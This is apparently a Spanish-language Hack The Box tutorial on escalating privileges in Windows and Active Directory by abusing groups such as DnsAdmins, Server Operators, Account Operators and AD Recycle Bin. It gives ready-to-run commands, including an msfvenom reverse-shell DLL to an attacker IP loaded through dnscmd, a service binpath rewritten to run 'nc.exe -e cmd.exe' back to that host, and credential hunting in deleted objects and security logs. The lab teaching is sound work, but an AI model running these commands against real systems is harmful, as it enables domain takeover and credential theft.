Grupos privilegiados de Windows: DnsAdmins, Server Operators y más

Escalar privilegios en Windows y Active Directory abusando de grupos: DnsAdmins, Server Operators, Account Operators, Print Operators, AD Recycle Bin, Azure Admins y Event Log Readers.

· 6 min de lectura

En Windows, muchos grupos que suenan a "ayudante" dan en realidad un camino directo a SYSTEM o a Domain Admin. Microsoft recomienda dejar vacíos varios de ellos y tratarlos casi como administradores, pero en la práctica se reparten a cuentas de servicio y técnicos. En Hack The Box son una escalada muy habitual: entras con un usuario, miras sus grupos y uno de ellos es la llave.

Esta guía va grupo por grupo: cómo saber si estás en él, el comando exacto para abusarlo y qué máquina retirada lo usa.

Requisitos

  • Una shell en la víctima como el usuario con el grupo, normalmente con Evil-WinRM.
  • En tu máquina, Impacket (smbserver) y msfvenom para preparar DLL y ejecutables.
  • Para practicar: Resolute (DnsAdmins), Forest (Account Operators), Cascade (AD Recycle Bin) y Monteverde (Azure Admins).

Paso 1: en qué grupos estás

Desde la shell:

whoami /groups
net user ryan /domain
GROUP INFORMATION
-----------------
Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
MEGABANK\Contractors                       Group            S-1-5-21-... Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                         Alias            S-1-5-21-... Mandatory group, Enabled by default, Enabled group, Local Group

whoami /groups enseña también los grupos anidados (aquí, ryan está en Contractors y Contractors en DnsAdmins), que net user no muestra. En BloodHound, la pestaña Group Membership del usuario los resume.

La tabla rápida

Grupo Qué te da Cómo se abusa
DnsAdmins Cargar una DLL en el servicio DNS DLL propia en ServerLevelPluginDll y reiniciar DNS (SYSTEM en el DC)
Server Operators Configurar y reiniciar servicios Cambiar el binPath de un servicio que corre como SYSTEM
Account Operators Crear y modificar usuarios y grupos no protegidos Crear un usuario y meterlo en un grupo con permisos peligrosos
Backup Operators SeBackupPrivilege y SeRestorePrivilege Copiar SAM, SYSTEM o ntds.dit
Print Operators SeLoadDriverPrivilege Cargar un driver vulnerable
AD Recycle Bin Leer objetos borrados del dominio Buscar atributos con contraseñas en cuentas borradas
Azure Admins / ADSync Leer la base de datos de Azure AD Connect Descifrar la contraseña de la cuenta de sincronización
Event Log Readers Leer el registro de seguridad Buscar contraseñas en líneas de comandos registradas
Remote Management Users WinRM Solo acceso, no escalada: evil-winrm

DnsAdmins

Los miembros de DnsAdmins pueden decirle al servicio DNS que cargue una DLL al arrancar. El servicio corre como SYSTEM, y en AD suele estar en el propio controlador de dominio.

Prepara la DLL y sírvela por SMB desde tu máquina:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o pwn.dll
impacket-smbserver share . -smb2support

En la víctima:

dnscmd.exe /config /serverlevelplugindll \\10.10.14.5\share\pwn.dll
sc.exe stop dns
sc.exe start dns
Registry property serverlevelplugindll successfully reset.
Command completed successfully.

Con nc -lvnp 443 escuchando, al arrancar el servicio recibes una shell como nt authority\system. Es la escalada de Resolute.

Cuidado

La DLL de msfvenom no exporta las funciones que DNS espera, así que el servicio se queda colgado: en un entorno real dejas el dominio sin DNS. Al terminar, borra la clave con reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /f y reinicia el servicio.

Server Operators

Pueden modificar y reiniciar servicios del sistema. Cambia la ruta del ejecutable de uno que corra como SYSTEM:

upload nc.exe
sc.exe config VSS binpath="C:\Users\svc\Documents\nc.exe -e cmd.exe 10.10.14.5 443"
sc.exe stop VSS
sc.exe start VSS
[SC] ChangeServiceConfig SUCCESS
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

El FAILED 1053 es normal: nc.exe no es un servicio de verdad y Windows lo mata a los 30 segundos, pero la shell ya ha llegado. Si quieres algo que no muera, usa como comando net localgroup administrators svc /add y vuelve a entrar.

Account Operators

Pueden crear usuarios y meterlos en casi cualquier grupo que no sea de administración. En Forest el usuario está en Account Operators por anidamiento, y el grupo útil es Exchange Windows Permissions, que tiene WriteDacl sobre el dominio:

net user pwn Password123! /add /domain
net group "Exchange Windows Permissions" pwn /add

Desde ahí te das permisos de DCSync y vuelcas los hashes, como explica la guía de DCSync y Golden Ticket.

Backup Operators y SeBackupPrivilege

Estos miembros pueden leer cualquier fichero saltándose los permisos, para hacer copias. Eso incluye las colmenas SAM y SYSTEM y, en un DC, la base de datos ntds.dit. El procedimiento con reg save, diskshadow y robocopy /b está en volcado de credenciales en Windows, y lo practicas en Blackfield.

Tienen SeLoadDriverPrivilege: pueden cargar un driver del núcleo. La técnica clásica es cargar Capcom.sys, un driver firmado con un fallo que ejecuta código como SYSTEM, con las herramientas EoPLoadDriver y ExploitCapcom. Es la escalada de Fuse. En Windows 10 1803 y posteriores ya no se puede cargar un driver desde una ruta del registro del usuario, así que solo funciona en sistemas antiguos.

AD Recycle Bin

Este grupo puede leer los objetos borrados del dominio, que conservan muchos de sus atributos. Busca cuentas borradas:

Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties * |
  Select-Object Name,sAMAccountName,cascadeLegacyPwd,Description

En Cascade la cuenta borrada TempAdmin tiene un atributo cascadeLegacyPwd en Base64. Decodificado (echo '...' | base64 -d), es la contraseña del administrador.

Azure Admins y Azure AD Connect

Si el servidor tiene Azure AD Connect (busca C:\Program Files\Microsoft Azure AD Sync), su base de datos guarda cifrada la contraseña de la cuenta que sincroniza con Azure, que suele tener permisos de DCSync. Los miembros de Azure Admins o ADSyncAdmins pueden leerla y descifrarla con scripts públicos como el de Adam Chester (xpn) o AdDecrypt. En Monteverde devuelve directamente la contraseña del administrador.

Event Log Readers

Pueden leer el registro de Seguridad. Si está activada la auditoría de creación de procesos con línea de comandos (evento 4688), es fácil encontrar contraseñas pasadas como argumento:

wevtutil qe Security /rd:true /f:text /q:"*[System[(EventID=4688)]]" | findstr /i "/user pass"
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
  Where-Object { $_.Message -match 'pass|/user' } | Select-Object -First 20 -ExpandProperty Message

Errores típicos

  • sc config no hace nada en PowerShell: sc es un alias de Set-Content y te crea un fichero llamado config. Usa siempre sc.exe.
  • Te añades a un grupo y no cambia nada: los grupos se cargan al iniciar sesión. Cierra la sesión de Evil-WinRM y vuelve a entrar, o pide un ticket nuevo.
  • dnscmd responde ERROR_ACCESS_DENIED: no estás en DnsAdmins (o no en un grupo anidado que lo esté). Revisa whoami /groups.
  • sc.exe stop dns da Access is denied: DnsAdmins no siempre puede reiniciar el servicio. En HTB sí; en un entorno real a veces hay que esperar a que reinicie el servidor.
  • La DLL o el ejecutable desaparecen al subirlos: Defender los ha borrado. Cambia de payload o compila el tuyo (ver evasión de EDR).

Y después

Los privilegios del token (SeImpersonate, SeDebug...) son otra cosa distinta de los grupos: están en SeImpersonate y potatoes. Tienes el punto de grupos privilegiados en la checklist de Active Directory y en la de post-explotación.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Grupos privilegiados de Windows 4 máquinas

¿Ves un error o echas algo en falta? Cuéntanoslo